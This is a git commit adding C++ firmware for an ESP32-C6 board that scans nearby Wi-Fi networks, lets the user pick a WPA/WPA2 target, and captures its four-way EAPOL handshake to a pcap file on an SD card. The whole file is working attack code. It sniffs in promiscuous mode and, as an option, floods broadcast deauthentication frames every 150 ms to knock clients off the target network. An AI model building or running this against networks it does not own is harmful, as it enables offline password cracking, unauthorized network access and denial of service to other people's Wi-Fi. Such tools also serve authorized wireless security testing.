Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
231
handshake-capture-c6/HandshakeCapture.cpp
Normal file
231
handshake-capture-c6/HandshakeCapture.cpp
Normal file
@@ -0,0 +1,231 @@
|
||||
#include "HandshakeCapture.h"
|
||||
#include "SD_Card.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include <algorithm>
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void pcapInit();
|
||||
static void pcapAppend(const uint8_t* frame, size_t len);
|
||||
static void saveHandshakeToSD();
|
||||
|
||||
WifiNetwork networks[20];
|
||||
WifiNetwork target;
|
||||
bool is_capturing = false;
|
||||
bool with_deauth = false;
|
||||
uint8_t eapol_count = 0;
|
||||
bool beacon_captured = false;
|
||||
uint8_t* pcap_buffer = nullptr;
|
||||
size_t pcap_size = 0;
|
||||
int current_target_index = -1;
|
||||
|
||||
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
||||
|
||||
#define CAPTURED_BSSID_CACHE_SIZE 32
|
||||
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
|
||||
static int captured_bssid_count = 0;
|
||||
|
||||
bool wasBssidCaptured(const uint8_t* bssid) {
|
||||
for (int i = 0; i < captured_bssid_count; i++) {
|
||||
if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void markBssidCaptured(const uint8_t* bssid) {
|
||||
if (wasBssidCaptured(bssid)) return;
|
||||
if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
|
||||
memcpy(captured_bssids[captured_bssid_count], bssid, 6);
|
||||
captured_bssid_count++;
|
||||
} else {
|
||||
memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
|
||||
memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
|
||||
}
|
||||
}
|
||||
|
||||
void handshakeCaptureInit() {
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect(false, true);
|
||||
delay(100);
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
}
|
||||
|
||||
bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||
return a.rssi > b.rssi;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false;
|
||||
const String& enc = networks[index].encryption;
|
||||
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
||||
}
|
||||
|
||||
void scanNetworksSortedByRSSI() {
|
||||
memset(networks, 0, sizeof(networks));
|
||||
int n = WiFi.scanNetworks(false, true);
|
||||
if (n == 0) return;
|
||||
|
||||
int limit = min(n, 20);
|
||||
for (int i = 0; i < limit; i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
if (ssid.isEmpty()) networks[i].ssid = "<HIDDEN>";
|
||||
else networks[i].ssid = ssid;
|
||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
||||
networks[i].ch = WiFi.channel(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
wifi_auth_mode_t enc = WiFi.encryptionType(i);
|
||||
if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
||||
else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
||||
else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
||||
else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
||||
else networks[i].encryption = "Unknown";
|
||||
networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid);
|
||||
}
|
||||
std::sort(networks, networks + limit, compareRSSI);
|
||||
}
|
||||
|
||||
void setTarget(int index) {
|
||||
if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
|
||||
target = networks[index];
|
||||
current_target_index = index;
|
||||
}
|
||||
}
|
||||
|
||||
int getCurrentTargetIndex() {
|
||||
return current_target_index;
|
||||
}
|
||||
|
||||
bool isHandshakeCaptured(int index) {
|
||||
return index >= 0 && index < 20 && networks[index].handshake_captured;
|
||||
}
|
||||
|
||||
void markHandshakeCaptured(int index) {
|
||||
if (index >= 0 && index < 20) {
|
||||
networks[index].handshake_captured = true;
|
||||
markBssidCaptured(networks[index].bssid);
|
||||
Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
|
||||
}
|
||||
}
|
||||
|
||||
void startCapture(bool deauth) {
|
||||
if (target.ssid.isEmpty() || is_capturing) return;
|
||||
pcapInit();
|
||||
beacon_captured = false;
|
||||
eapol_count = 0;
|
||||
with_deauth = deauth;
|
||||
is_capturing = true;
|
||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
if (!is_capturing) return;
|
||||
if (pcap_size > 0) {
|
||||
saveHandshakeToSD();
|
||||
}
|
||||
is_capturing = false;
|
||||
with_deauth = false;
|
||||
}
|
||||
|
||||
static void saveHandshakeToSD() {
|
||||
String timestamp = String(millis() / 1000);
|
||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
||||
filename.replace(" ", "_");
|
||||
|
||||
File file = SD.open(filename, FILE_WRITE);
|
||||
if (!file) {
|
||||
Serial.println("SD write failed");
|
||||
return;
|
||||
}
|
||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
||||
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size);
|
||||
markHandshakeCaptured(current_target_index);
|
||||
}
|
||||
file.close();
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = nullptr;
|
||||
pcap_size = 0;
|
||||
}
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!is_capturing) return;
|
||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
uint8_t* payload = pkt->payload;
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
if (len < 36) return;
|
||||
|
||||
uint8_t frame_type = payload[0];
|
||||
bool is_beacon = frame_type == 0x80;
|
||||
|
||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
||||
beacon_captured = true;
|
||||
pcapAppend(payload, len);
|
||||
return;
|
||||
}
|
||||
|
||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
||||
if (ethertype == 0x888E) {
|
||||
eapol_count++;
|
||||
pcapAppend(payload, len);
|
||||
if (eapol_count >= 4) {
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void pcapInit() {
|
||||
free(pcap_buffer);
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = 0xa1b2c3d4,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = 65535,
|
||||
.network = 105
|
||||
};
|
||||
memcpy(pcap_buffer, &header, sizeof(header));
|
||||
}
|
||||
|
||||
static void pcapAppend(const uint8_t* frame, size_t len) {
|
||||
if (!frame || len == 0) return;
|
||||
pcap_record_header_t rec = {
|
||||
.ts_sec = millis() / 1000,
|
||||
.ts_usec = (millis() % 1000) * 1000,
|
||||
.incl_len = len,
|
||||
.orig_len = len
|
||||
};
|
||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
||||
if (!new_buf) return;
|
||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
||||
pcap_buffer = new_buf;
|
||||
pcap_size += sizeof(rec) + len;
|
||||
}
|
||||
|
||||
void sendDeauth() {
|
||||
if (!is_capturing || !with_deauth) return;
|
||||
uint8_t deauth_packet[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00
|
||||
};
|
||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
||||
}
|
||||
|
||||
void handshakeCaptureLoop() {
|
||||
static unsigned long last_deauth = 0;
|
||||
if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) {
|
||||
sendDeauth();
|
||||
last_deauth = millis();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user